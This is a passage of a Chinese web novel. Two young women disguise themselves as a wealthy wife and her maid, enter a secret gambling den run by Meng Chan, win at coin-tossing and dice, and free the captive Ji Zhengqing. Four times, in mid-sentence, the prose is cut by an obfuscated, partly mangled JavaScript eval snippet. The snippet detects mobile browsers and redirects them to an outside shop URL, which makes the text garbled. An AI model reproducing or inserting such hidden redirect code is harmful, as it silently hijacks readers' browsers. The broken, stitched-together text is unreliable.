后院平日里人来人往,这事应当没法瞒过一直住在这儿的姑娘们,有很大的可能就是姑娘们知道这个赌坊的存在,且严妈妈要求她们保守秘密。 找个姑娘询问情况是她们当下唯一的突破口了,偏偏施窈在这儿并无相熟之人。 “你在这儿待的时日也不算短了,不说相熟,相识之人都没有吗?”今穗不死心问道。 “没有……”施窈低下头。 施窈性子如此,今穗听到这个回答也不算太意外。 现下已时近午夜,姑娘们若不接客按理来说应当早早睡下,既不接客在自己房里也不灭灯歇息,恐怕这几间亮着的厢房有些许蹊跷。 今穗沉思着,她什么话都没说就往最近的一间亮着的厢房走去。 她靠近窗边去听里面的情况,却听见女子的娇喘声和男子粗重的喘息声交织在一起,声声入耳。 今穗听了仍然面不改色,一副什么都没发生的模样继续走向下一间厢房。 施窈一脸不明所以也靠过去听,紧接着她娇嫩的脸蛋就红了个彻底,赶忙把耳朵收回来跟上今穗的步伐,心里不停地犯嘀咕。 一会想今穗怎么做到这么淡定的,一会又想姑娘们怎么会在后院接待客人。她不由自主地胡思乱想,连纪正卿失踪给她带来的焦虑不安都减轻了几分。 一阵清凉的夜风吹过,施窈拍了拍自己燥热的脸颊,摇摇头甩开头脑中凌乱的思绪。 今穗一连观察了几间亮着的厢房都是相似的情况,直到位于院子最边上的一间,房间里静悄悄的,她贴着窗户听了好一会都没听见任何声音。 这间厢房绝对不简单。 她们躲在黑暗的角落处,正在想着要不要敲门或者直接推门进去,就在这时一位风姿绰约的妇人从里面推门出来。 今穗隐约听见里面有人说“夫人慢走”,她心下疑惑,在祈陌春坊出现妇人已是奇怪之事,在这个疑似藏着地下赌坊的厢房走出来一位雍容华贵的妇人就更令人匪夷所思了。 她在心里不断猜测和假设。 随后她们又悄摸摸地回了施窈在二楼的临时居所,今穗二话不说打开她的衣橱一阵翻找,终于在翻到一件姜黄色的厚重外衫时停了下来,然后递给施窈示意她穿上。 施窈见状满脸嫌弃,这衣服压箱底许久了,她几乎一次都没穿过。 但在今穗坚定目光的注视下,施窈也不得不屈服,反正今穗要做什么总是有她的道理,自己照做就行。 今穗又找了张面纱给她遮面,施窈这下倒是毫不犹豫地遮住了自己的大半张脸,她本来就身材凹凸有致,这下远远望去真像是个风韵犹存的深宅妇人。 二人又回到了那间不寻常的厢房外,今穗一副小丫鬟的姿态上前为施窈推开房门。 施窈也装模作样地端着高门夫人的架子往里走。 一进屋就有两个侍卫模样的高大男子,腰侧带刀,神情严肃,见有人突然闯入二人立马拔刀戒备,但看见施窈这身富家夫人的装扮,又犹豫起来。 发觉了这边的动静,孟婵的贴身丫鬟竹月从里面的房间走出来查看情况:“何事?” 两个侍卫也不知该作何回应。 “这位夫人瞧着面生,是头一回来这儿吧。”竹月上下打量着施窈。 还好施窈这一身装扮足够以假乱真,暂时让人看不出破绽。 “我家夫人慕名而来,不知是否是来晚了,可否有机会让我家夫人进去玩上一圈。”今穗一副护主的姿态,完全不让施窈多费半句口舌。 “自是可以。”竹月没有半分犹豫,态度逐渐谄媚起来,“夫人随我来。” 她们跟着竹月进入了她先前出来的那间房,这房里布置得像是个当铺,没怎么点灯,一进来就昏暗了不少。 竹月走到柜台之后,开始清点筹码:“夫人您要兑换多少筹码呀?” 筹码? 这间地下赌坊难道是用筹码代替银钱进行赌博? 今穗思索了一下:“我家夫人第一次来,其他夫人兑换多少筹码我们兑换差不多的即可,有劳姑娘了。” 竹月呵呵一笑:“好呀。” 只见她低头在纸上写着写什么,过一会就将纸递给她们:“第二日离开之时归还筹码,若是少于约定的数额,您需在七日之内支付相应的银钱,若是多了,则我们给您对应的银钱。若是超过七日,每日会有利息。” “白纸黑字,一清二楚。夫人可还有疑问?”竹月声音温温柔柔的,仿佛在蛊惑人立马就签字画押。 今穗接过那张纸,上面需要填姓名和住址,后面是按手印的地方,她看完之后就提笔写了几个字,接着就毫不犹豫地按了手印。 施窈见状想阻止她,毕竟这张字据可不是个简单的东西,若二人输得血本无归,今穗身上就得背负着巨大的债务。 然而二人已经走到了这一步,若此时露馅便是功亏一篑,她最终还是克制住了自己。 竹月倒是丝毫不在意这“主仆”二人有何异样,也不在意这字据上写得信息是否真实,毕竟郎艳的客人是有钱的夫人们,有任何不同寻常的地方都能够理解。 签字画押完,竹月脸上笑得更加谄媚了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019242|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她在柜台之后似乎拨动了什么机关,地板上就缓缓打开了一道暗门,刚好容纳一个进入,暗门之内是看不见底的阶梯。 “夫人请吧,下面会有人接待,我就在此祝愿夫人第一晚就能够抱得美人归了。”竹月笑得意味不明。 听她这么说,二人都是满腹疑惑,不过都很有默契地没有表现出来,只是淡淡地点点头就顺着阶梯往下走。 今穗和施窈二人一前一后,等她们全都进入了暗门之内,竹月在外面又拨动机关将暗门关上。 里面瞬间变得漆黑一片。 施窈顿时变得非常害怕,跟在今穗身后紧紧攥着她的衣袖。 好在没走几步就看见前面有光亮,二人立马加快脚步往下走。 走着走着,空间就明亮开阔了起来,然后就到了一道朱红色的门前。 门前站着一个浑身只着透色轻纱,姿色还算不错的男子。 她们见状大为震惊,立马撇开眼不去看那人。 但这男子见有人过来,立马殷勤地凑到她们面前贴身伺候,惹得她们浑身不适。 今穗连忙制止:“我家夫人不喜生人靠得太近,你不必贴身伺候了。” 这男子倒是很听话,隔了些距离站着:“没关系,夫人多来几次就能适应了,奴帮您拿着筹码。” 这下没给今穗拒绝的机会,这男子拿过筹码就引着二人进门。 她们越来越觉得这个地方极其诡异,这里的一切都很颠覆她们日常的认知,这男子衣着暴露不说还自称“奴”,怎么看都不对劲。 不过这赌坊既设在地下,有不寻常之处也能够理解。 那男子为二人推开朱红色的门,门内的场景更让她们大为震惊。 一群穿金戴银的妇人,排列整齐的赌桌,衣着清凉的仆从,铁笼里的倒地的男人…… 即使她们在努力遏制自己看到这个场景时内心的震撼,但还是有些缓不过神来,愣在了原地。 赌坊内的男侍似乎对此见怪不怪了,几人一同簇拥过来邀她们到赌桌边开始今夜的“玩乐”。 她们努力平复心绪,在赌桌边装作饶有兴趣的模样。 经过最初的震撼之后,今穗开始悄悄观察赌坊里的细节。 目光触及铁笼里的男子时突然顿了一下。 看这身形……像是纪正卿? 她在赌桌底下悄悄地用手戳了戳施窈,示意她看那个铁笼。 施窈一开始还没领会今穗的意思,她看了一会才反应过来什么。 这不是纪正卿吗? 她担心了一晚上的人原来真的在这里。 此刻施窈的内心既惊喜又害怕。惊喜的是终于找到了纪正卿的踪影,害怕的是他此刻被锁在这个鬼地方的铁笼之中又一副昏迷不醒的样子,是否已经遭遇了不测。 施窈盯着那铁笼望了许久都没回过神来,眼神也极其复杂,她们旁边的男侍都察觉到了异样。 今穗见状又戳了戳施窈,她这才收回目光。 “您可是对那笼中之人感兴趣。”离施窈最近的男侍轻声细语问道。 19. 盆满钵满 施窈掩藏在面纱之下的嘴角艰难地扯出一抹笑意,欲盖弥彰道:“没有。” 而那男侍却一副已经将施窈的心思看穿了的模样,非常理解地笑着说道:“今夜的赌注很抢手,不少夫人都对他势在必得呢。” 今穗索性顺着这男侍的话头说下去:“是吗?我家夫人确实有兴趣,咱这也是头一回来,不知……如何才能得到这个赌注呢。” 那男侍听今穗认同了他的话,显露出一副见怪不怪的神情:“这赌注自然是归属于最终的赢家,在郎艳,赢家就是每一晚拥有筹码最多的那位夫人。” 今穗和施窈闻言纷纷露出一脸恍然大悟的表情。 据这男侍所言,这所谓的赢家也有很多的潜规则在里面。 若是今夜能够拥有最多的筹码,那她们就有很大机会带走这个赌注,而每晚拥有筹码最多的夫人……也就是说,这筹码不一定是赢来的。 而且筹码最多,也有一定的可能性带不走赌注。 想明白这赌坊的深层规则之后,今穗和施窈二人对视一眼,也明白了她们今夜可能的目标。 她们必须得通过“赌”,赢得去除本金之后最多的筹码,才会有更大的胜算。 这件事说起来容易,但是实施起来却是难上加难,她们此前从未沾染过“赌”之一字,真正到了赌桌之上恐怕连规则都弄不明白。 二人内心发愁不已,表面上却依然不动声色走到旁边的茶桌歇息,今穗刚想尽职尽责地扮小丫鬟的样子给施窈倒茶,却被茶桌旁伺候的男侍抢先一步。 那男侍边倒茶边给施窈抛了个媚眼,施窈连忙转过头,展现出高冷的样子。 这赌坊内端茶倒水的男侍伺候人伺候得如此殷勤,怕是方便最终没有得到赌注的夫人们选择自己心仪的男侍共度这一夜春宵了。 今穗将自己的这个猜测小声地说给施窈听,施窈控制不住地瞪大了眼睛,她完全没想到还有这一层意思。 二人之间的气氛陡然间变得紧绷起来,施窈不安地往铁笼的方向望,只见笼中之人半张脸露在凌乱的发丝外,肌肤上因拉扯留下的痕迹也看得更清楚。 现在她们可以完全确定这人就是纪正卿,而且现在唯一的好消息是,作为赌注,他还活着。 她们来到这赌坊的时刻已近午夜,再加上中间耽误的一些时间,恐怕距离最终的赌注结算也没有多少时辰了。 赌坊内没有任何可以判断时辰的东西,现在通过“赌”去获得更多筹码一事已刻不容缓。 她们来到一处人少的赌桌前,赌桌上正在玩掷钱币,一共有六枚铜钱,掷出来的铜钱图案相同的越多则胜算越大。若是掷出“五纯”,即五枚铜钱全部正面或背面朝上,“六纯”则六枚铜钱全部正面或背面朝上。① 大致了解了掷钱币的规则之后,今穗了然,从规则来看。这种赌法其实很简单,说起来应该是全看运气,几乎没有可以用到技巧的地方,但是投掷钱币又是通过人为操控,似乎又不是全靠运气。 今穗试着小赌了几局,有输有赢,既不亏也不赚。她想了想,就将筹码递给身旁一脸迷茫的施窈:“你来试试。” “我?”施窈不解,对于赌博一事她完全不通,旁观着今穗玩了几局之后才一知半解,今穗却突然间将今晚无比珍贵的筹码交到了她手里。 施窈犹豫地接过沉甸甸的筹码,她看着今穗坚定的目光,还是下定决心去试着赌一把。 第一把,她谨慎地押上了局内最少的筹码,其他跟注之人见施窈的样子像是个新手,都纷纷押注了别的夫人。 等到投掷钱币的时候,前面的夫人已掷出了五纯,这下几乎不把她放在眼里,只等她投掷完毕,就把桌上满满当当的筹码全部收入囊中。 轮到施窈的时候,她也十分紧张,赌桌周围的人几乎都在盯着她。她投掷铜钱的动作十分生涩笨拙,惹得夫人们皆不顾仪态地笑出来。 然而,铜钱掉落在桌上之后,所有人脸上的笑意都瞬间凝固了,施窈也惊讶地张大嘴巴。 五纯。 又是一个五纯,是这位最不被众人看好的夫人投掷出来的。在一旁伺候的男侍见状连忙过来献殷勤,其他夫人的脸色变了又变。 施窈还没反应过来发生了什么,今穗却一脸淡定都在赌桌上收走了她们赢得的筹码。 就这一局,她们的筹码已比来时多出了不少,这还是施窈押注很少的情况。 愿赌服输,其他夫人虽面色不悦但也不会说什么,在身旁美貌男侍的安抚下,她们又继续赌局。 这一次今穗还是让施窈来赌,并直接押上了她们目前所拥有的全部筹码,赌桌上堆得如同一座小山。 赌局上的夫人见状十分惊讶,她们两个新手竟如此大胆押上全部筹码,不过多数夫人都是这赌局上的老手了,丝毫不畏惧,也当仁不让地押上更多。 这一局在各位夫人押注的过程中就已经拉开了较量,如此大数目的押注也吸引了赌坊中不少人过来跟注,很快,这个赌桌从一开始的几个人参与到现在逐渐被围得水泄不通。 随着参与的人越来越多,施窈也变得越来越紧张,额头都冒出了一些薄汗,今穗在赌桌之下没人看到的地方轻轻地握住了她的手,稍许缓解了她的焦虑。 押注结束,各位夫人开始依次投掷钱币。 这次依旧是施窈最后一个投掷。 这局夫人们的运气似乎都格外得好,投掷出五纯的有好几个,到了倒数第二个夫人,她竟投掷出了六纯。 满座哗然。 这下已有人投掷出了六纯,施窈若掷不出六纯,则必输无疑,自己的全部筹码就要拱手送人。 到了这个地步,赌坊内几乎一大半的人都聚到了这张赌桌旁,连孟婵都被吸引了注意力过来围观。 施窈投掷钱币的动作还是一样的生涩。 “啪”的一声,铜钱和她额头的汗珠一同坠落。 六纯。 而且是正面朝上。 赌坊内瞬间爆发出一阵剧烈的欢呼声,吵得施窈的耳朵几乎都要听不见了。 按照规则,若同是六纯,正面朝上是大于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019243|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反面朝上的,而前一位夫人投掷出的是反面朝上的六纯。 所以,她们是此局唯一的赢家。 施窈的脑子已经成了一团浆糊,今穗嘴角的笑意已经完全压不住了,桌上所有的筹码将全部被她们收入囊中。 仅仅两局,她们的本金已经翻了十番不止。 在喧闹的欢呼声中,此情此景似乎与几年前那人所说之话慢慢重合。 乔家医馆曾经接待过一位在赌坊中赢得太多而被人眼红打伤的赌徒。这位赌徒是赌了几十年的老手了,几乎从未失手,也正因如此,才会有不服气之人出此下作手段。 这赌徒心态倒是很好,没有因为无辜被打而怨恨萎靡。他很健谈,闲着无聊就拉着今穗说话。今穗那时年幼,对他话语中描绘的赌坊懵懂又模糊,只记得他说的“赌运”。 那赌徒说,在赌坊中,赌运极其重要。若当日赌运极好,赢得盆满钵满是轻而易举的事情,而且赌运来得时机也要把握好,有的时候,赌运这一把来了,下一把就走了,让人捉摸不透。 现在看来,施窈今晚的赌运应当极好,她们第二局乘胜追击也是对的。 今穗粗略地算了一下,现在她们所拥有的筹码去除掉本金,应当还差一点才能成为最终的赢家,所以她们得继续赌。 就在二人准备继续赌局之时,有人出声打断了她们。 “真是精彩,这位夫人来我这郎艳还得用面纱遮遮掩掩,当真是太见外了。”孟婵语气中意味不明,眼神直勾勾地望着赌桌旁的“主仆”二人。 “我家夫人近日脸上患有顽疾,怕吓着各位。”今穗找了个理由解释道。 “哦?那夫人既身患顽疾还要来郎艳,一来就是这般大场面,想必夫人早已心有所属吧。” 闻言,二人索性承认对今晚的赌注很感兴趣,赌坊中不少夫人都想要这赌注,听她们这么说也不算意外。 “夫人虽连赢两局,但似乎还差一些筹码,那夫人可否赏脸与我赌一把。”孟婵发出邀请,“若是夫人赢了,筹码和赌注都归您,若是夫人输了,您得不到赌注……筹码除去本金其余的分给在场的夫人们。” 众人反应十分热烈,夫人们喊着“三姑娘”,男侍们喊着“婵主”。 施窈这才反应过来,这女子是孟家三房正妻所出的三姑娘孟婵,也是这间赌坊的主人。 她将自己的发现告诉今穗,今穗眉头紧皱。她想起那时在后院碰见裴樾,听见他的属下说这地下赌坊有孟家的手笔,原来是这位三姑娘。 与孟婵的这个赌局对她们来说应当是稳赚不赔的买卖。只要赢了就能救出纪正卿,即使输了她们还有本金,出了赌坊也不会赔钱。 没时间给她们多加思考,赌坊内的气氛已经到了无法收场的地步,她们很快就点头答应。 “夫人想玩什么?”孟婵一副十分礼让的模样。 今晚施窈赌运极盛,再赌同样要选择看赌运不看技巧的赌法。 今穗的目光在赌桌之上来回巡视,终于在看见角落里不起眼的骰子时停住了。 20. 愿赌服输 施窈及时领会到了今穗的意思,指了指骰子说道:“这个吧。” 围观的人们见状都有些失望,毕竟骰子算是最简单的玩法了,相对来说不似那些复杂的玩法更有观赏性。 玩骰子纯看运气,没法看到孟婵和这位神秘夫人在赌博技巧上的较量了。 孟婵反应倒是很平淡,她欣然答应,好像一切都在她的掌握之中,不管玩什么她都不会输一样。 “一共两局,第一句赌大小,第二局赌个数,夫人可有异议?”这种玩法是骰子最常规的一种了,孟婵也只是例行公事地询问。 可是这两位门外汉听她这么说却显露出十分疑惑的表情。赌大小她们还能理解,就是谁摇出的骰子点数大谁就赢,但是赌个数又是什么? 孟婵见她们连规则都不清楚也不觉得诧异,耐心地为她们解释这个规则。 骰子当中赌个数则是双方各六枚骰子,摇毕后可以叫任意点数,不信则打盅,若该点个数少于所说则赢,相信则换边叫数,必须加个数或者加大点数,直至有一方打盅为止。在赌个数中,一可以当作任意一个数字。① 这一玩法比赌大小要复杂许多,今穗听了一遍大概听明白了,施窈却还是一头雾水。 但是没时间让她们仔细理解,赌局就在众人的催促之下开始了。 第一局是赌大小,骰盅里有三枚骰子,谁摇出的点数之和更大谁就赢,若是和相同,则看骰面。 孟婵脸上挂着淡淡的笑意,她抬手做了个“请”的姿势,示意让施窈先摇。 施窈也不推辞,经历了前两局掷钱币的赌局后她的心态明显好了不少,即使现在几乎全赌坊的人都在看着她,她摇骰盅时也完全没有手抖。 她眼睛只盯着手中的骰盅,不去管四周的人山人海和窃窃私语。 摇晃了几下后,骰盅落定,紧接着是孟婵,她骰盅时十分随意,骰子似乎还没晃悠几下她就停下了。 两个骰盅都静静地放在赌桌之上。 此时赌坊内的众人都屏息凝神,等待开盅的那一刻。 孟婵和施窈身旁的男侍在众人的注视下一同开盅。 六、五、五。 三、五、二。 一局定胜负。 赌大小这一局,施窈轻而易举且彻彻底底地赢了。 即使她心绪已平稳了许多,在开盅的那一刻,她的心脏还是剧烈地跳动,手心都紧张得直冒汗。 今穗见状嘴角勾起了一抹笑,果然,施窈今夜赌运极佳。 反观赌桌对面的孟婵,她依旧表情淡淡,并没有因为这一局的失利而表现出错愕或者是愤怒的情绪,她还出声道喜:“恭喜夫人了。” 这局结束,她们离胜利只差一半了。 但是她们并没有被这一局的胜利冲昏头脑,毕竟第二局赌个数她们首先对规则就不熟悉,想要赢下来并不容易,纯靠施窈的赌运似乎不够。 第二局开始。 男侍将六枚骰子放在骰盅里,分别放在施窈和孟婵的面前,二人一同拿起骰盅摇晃,然后放在桌上。 今穗将盅盖掀起一角,骰面被二人尽收眼底。 四个六,两个二。 这么一看,施窈的赌运还是一如既往的好,只是不知道这样的骰面在赌个数的玩法中是好还是坏。 施窈还是没弄清楚规则,她看见自己摇出了这样的骰面,以为是好的,不禁露出了一副惊讶的表情。 这一幕被对面的孟婵尽收眼底。 今穗将骰面记下之后抬头看向对面的孟婵,发现孟婵正盯着她们看。 在赌个数的过程中,猜对方的骰面是极为关键的一环,因此观察对手的表情是推测对方骰面的重要方法。 今穗只顾着看她们的骰面倒是忘了这一茬,反而让孟婵通过她们的表情观察到了不少信息。 但是赌局之上,亦真亦假,谁又分得清呢? 双方都看完了各自的骰面,孟婵又准备很有风度地礼让施窈,却被今穗抢了话头:“上一局就是我家夫人先,公平起见这一局还请三姑娘先叫点数。” 孟婵闻言一笑,没有半句废话,直接高声喊道:“三个一。” 她这么喊是赌个数中最常见的开局,从最小的个数和点数开始叫。 接下来轮到了施窈这一边,她们的骰面中一个一都没有,孟婵开局会这么喊,可能是她自己的骰面中有,也有可能是在迷惑她们,总之现在就开盅并不是个明智的选择,可以继续往上叫看看情况。 她们的骰面中已有两个二,今穗思索一番说道:“三个二。” 她选择增加点数。 到现在双方各叫了一次,但是她们这种叫法让围观的众人完全看不出来两个骰面是什么样的。 而且从这场赌局双方的玩法风格来看,似乎都是稳妥保守的那一种。 风平浪静,各自安好。 果不其然,轮到孟婵的时候,她仍然没有要求开盅,选择继续叫数:“四个二。” 她增加了个数。 初次玩赌个数的人,都会保守地根据自己的骰面进行叫数,对面叫了三个二而没叫四个一,应当是她们的骰面中至少有两个二,她们才敢这么叫。 并且孟婵的骰面中有两个一可以当作两个二看,因此她只需增加个数,看这两位稚嫩的小姑娘如何应对,便可继续推测她们的骰面。 果然,轮到今穗她们的时候,二人犹豫了许久。 孟婵从“一”开始叫数,应当是骰面中有若干个一,一可以看作二,再加上她们手中的两个二,此时开盅显然不行。 若是继续增加个数风险也极大,最稳妥的是增加点数,但是她们有四个六,叫四个三、四个四或是四个五都不保险,她们不知道孟婵手中是否有这些数,一旦被开就是满盘皆输。 要想赌局不被终结于此,她们似乎只剩下了一个选择。 今穗面色凝重,在围观之人的催促之下终于开口:“四个六。” 闻言,孟婵轻蔑一笑,这两个小姑娘正毫不自知地乖乖走入她的圈套,她此时已然猜出了她们的骰面,胜利的天平在朝着她这边倾斜。 她依旧云淡风轻,毫不犹豫继续叫数: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019244|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “七个六。” 话音落地,孟婵脸上似笑非笑,一副胜券在握的模样。 对面的今穗听见她突然喊出“七个六”,不禁错愕了一下,接着快速地在脑海中推算着。 很快今穗就反应过来,她的心瞬间跌到了谷底,然后低声对施窈说道:“我们输了。” 在孟婵猜出她们拥有四个六的情况下,她只需加上自己骰面中六的个数,就能将自己推向胜局。 因为轮到她们的时候,若是选择开盅,双方拥有的六的个数达到了七个,她们输了;若是选择继续叫数,轮到孟婵的回合她只需开盅,她们同样会输掉。 无论如何,她们已处于必败之地。 想明白这个事后,施窈也垂头丧气,她们赌了一晚上离胜利就差这么一局,但功败垂成。 今穗只能硬着头皮选择开盅,给她们三人的赌局画上句号。 孟婵脸上的笑意更加明显,她递了个眼神给男侍,双方身旁的男侍都连忙打开盅盖。 但是孟婵的骰面并没有像她想象中的有三个“六”,而是三个一,一个三,一个四和一个六,也就是说,孟婵的骰面可以看作四个六,当她叫出七个六时,她们只要继续叫,仍然有赢的机会。 孟婵这么叫数显然是对她们手下留情了,但也牢牢地将她们圈在了陷阱当中。 今穗这下更加挫败了,真的就差一点。 开盅之后,也就昭示着孟婵是第二局的赢家,赌坊中的欢呼声愈发热烈。 施窈十分不甘心地对着孟婵说道:“我们愿赌服输。” “夫人承让了。”孟婵将有礼有节贯彻到底。 今穗将她们的本金数出来,把先前赢来的筹码全都推向孟婵。 孟婵却摆手推却道:“按照咱们的约定,夫人两局都输了才需退回筹码,但是夫人您赢了一局,虽得不到赌注但是可以留下您赢来的筹码。” 闻言,今穗面露疑惑,她们先前似乎并非这般约定,但孟婵这么说好像也没错。 接着,孟婵就对赌坊内的各位夫人高声说道:“郎艳今夜所有的赌局到此结束,请各位夫人清算自己手中的筹码,决出最终的赢家。” 见今穗和施窈二人还是一脸懵,孟婵吩咐男侍帮她们清算筹码:“夫人您今夜也是郎艳的客人,自然也可以参与筹码结算,争夺这个最终的赢家。” 经过一番手忙脚乱的清点后,今夜拥有筹码最多的人竟然就是施窈。 她们掷钱币连赢两局之后,已经拥有了当时最多的筹码,之后赌坊的夫人们都专注于看她们和孟婵的赌局,没人继续去赢得更多的筹码。 接着就是赌注开价,出乎所有人意料的是,今夜这赌注如此抢手但价格却很低,也就是说,她们用筹码兑换赌注之后还剩下很多。 她们的赌坊之行,可谓是大获全胜。 二人的心情几番大起大落,但最终还是达到了她们的目的。 但她们并没有想象中那么高兴,只是觉得心里五味杂陈,好像她们的一举一动,冥冥之中都在被人操控,走向那人早已设定好的结局。 21. 生意兴隆 今夜的赢家已然确定,笼中的赌注也有了他的归宿。 夫人们也都欣然地接受了这个结果,带着自己心仪的男侍很快就离开了赌坊。 男侍把铁笼上沉重的锁打开,将纪正卿从笼子里拖到施窈面前,浇了盆水在纪正卿头上把他弄醒,男侍们的动作一气呵成,施窈想阻止都来不及。 然后他们恭恭敬敬地说道:“夫人,请您享用。” 听着这男侍说的话,施窈面色复杂,纪正卿在这时假装刚刚醒来,一脸迷茫地睁开眼。 虽然这人用纱布遮面,还穿着老气的衣裳,但他却能瞬间认出来,她就是自己日思夜想的窈窈。 窈窈来这里救他了,但他这一晚上只顾着装晕,都没发现她来了。 施窈见纪正卿醒了,看着没事的样子,她终于松了一口气。 她和今穗正想带着纪正卿离开,孟婵却在这时过来喊住她们:“夫人留步。” 她们以为孟婵还有什么事情要交代,就停下脚步。 “夫人您头回来可能不知道,每晚的赢家要在郎艳的里间中享用她的战利品,还请夫人入里间。” 这应当是郎艳一直以来的规定,她们若是不遵守恐怕没法走出这间赌坊。 “只要在里间中度过了今晚就可以离开?”施窈问道。 “是的。” 施窈想着这事好办,不过是和纪正卿在房间里待一个晚上,天一亮就能离开,此时距离天明已不剩几个时辰,大不了在房间里跟纪正卿说她和今穗这一晚上的英勇事迹,让他好好感激涕零一下。 施窈带着纪正卿麻溜地进了里间,一进门她就看见有个未着寸缕的绝色男子正跪在床榻之上,她吓得放声大喊并迅速转过身,今穗也发现了这个情况,她们二人纷纷看向一脸无辜的孟婵,像是在询问这是何意。 “他是咱们郎艳的老肯,昨日犯了错。郎艳中犯错的男子都会如此,就当是给当夜的赢家加餐。有时犯错之人还不止一个呢,您无需大惊小怪,放心享用就好。”孟婵的语气里分明多了些幸灾乐祸。 施窈被她这一番话气得面红耳赤,完全不知道该怎么说。 孟婵用眼神示意男侍,男侍将施窈和纪正卿再次“请”进了里间,并利落地锁上了房门,隔绝了门里门外的声音和情景。 门里,施窈怎么拍房门都无人回应,最后一下似乎拍得重了些,施窈缩回手下意识呼痛,纪正卿心疼地将她的手放在嘴边吹风,一边吹风一边关切地询问:“窈窈还痛吗?” 施窈刚想说“没事”,却被床上之人插了话:“窈窈,让奴来伺候您吧。” 这老肯有样学样,学着纪正卿的样子喊“窈窈”,说着还不忘朝施窈抛个媚眼。 听见别的男人这么喊,纪正卿瞬间就气炸了,他这个书生身上罕见地显露出一股杀意,脸色阴沉地过去拿被褥将这老肯裹得严严实实,并用自己的毕生所学去批判这个人。 “伤风败俗,不知廉耻,恬不知耻,厚颜无耻……”纪正卿嘴里叽里咕噜了一大堆,老肯完全没被他的话影响,反而冲着他笑,在纪正卿靠近他给他裹被褥时,他还有意无意地用身体蹭这个因他一句话就气得面红耳赤的男人。 纪正卿更加生气了,干脆用被褥将他的头也蒙住,老肯这才消停下来。 完成这些事之后,他满意地回到施窈身边,和她一起坐在门边,脸朝着门“面壁思过”。 门里的闹剧至此落下帷幕。 门外。 门一落锁,孟婵打了个哈欠,郎艳重新开张的这一晚上,事务繁多,她此时已疲惫至极,好在今夜效果不错,算是开了个好头。 刚想离开,果不其然被今穗叫住了:“三姑娘。” “怎么,听你这语气像是认识我?”孟婵屏退了赌坊内剩下的男侍,不紧不慢走到茶桌旁给自己倒了一杯热茶,然后浅酌一口。 “三姑娘也认识我们不是么,您早就看出来与我同行之人并不是什么夫人,我也并非她的丫鬟,您还陪着我们玩。” 孟婵笑着摇摇头:“不过是表演节目罢了,效果达到了,我也不会去探究这些于我无益之事。说起来,还得感谢你们二位的配合。” 她举起茶杯对着今穗做了一个碰杯的姿势,然后将热腾腾的茶水一饮而尽:“舒坦。” “论起谢,应当是我们谢您,若非您手下留情,我们根本一局也赢不了,而且第二局您也给我们留了机会。” 不知是否是这一盏滚烫的茶水下肚的缘故,孟婵的表情已不似先前那般冷冰冰,逐渐变得有温度起来,但她还是摇摇头:“你只说对了一半。” “第一局并非我让你们,赌大小本来就纯看赌运,你们今夜的赌运确实不错。第二局的话……确实如你所说。”孟婵似乎完全没把此事放在心上。 “无论如何,都是我们乔装潜入,坏了您的规矩,这些筹码请您收回。”今穗的态度十分诚恳。 直到这时,孟婵对这个小姑娘更加刮目相看了。 没人会对泼天的财富无动于衷。 “看你的着装举止应当是出身于普通人家吧,你知道这些筹码换成银钱是多少吗,恐怕你这辈子都没见过这么多钱。”孟婵表情严肃,一副语重心长的模样像是个饱经风霜的老人,连她自己都差点忘了她和今穗是同龄之人。 “我不知,但我知道的是,这世间总有比金银更重要的东西。” 听她这么说,孟婵沉默了许久,她过了好一会才回道:“你既如此,我必得卖你这个人情,筹码我收下了,若以后有棘手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019245|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之事,我定会全力以赴助你。” 孟婵郑重许下承诺。 今穗似乎就在等她这句话,连忙道谢:“那就多谢三姑娘了。” 她也到茶桌旁给自己倒了一杯茶,然后对着孟婵做出敬酒的样子:“恭祝郎艳生意兴隆。” 这句话似乎说到了孟婵的心坎上,她脸上的笑意怎么都藏不住。 这个夜晚好像既漫长又短暂,从午夜时分刚进入赌坊的不知所措到现在成功救下了纪正卿,这期间经历了许多事,但也只是过了几个时辰。 二人说完话,孟婵就先行离开了。 没有多久应当就会天亮,今穗索性在门口等着里间的二人。 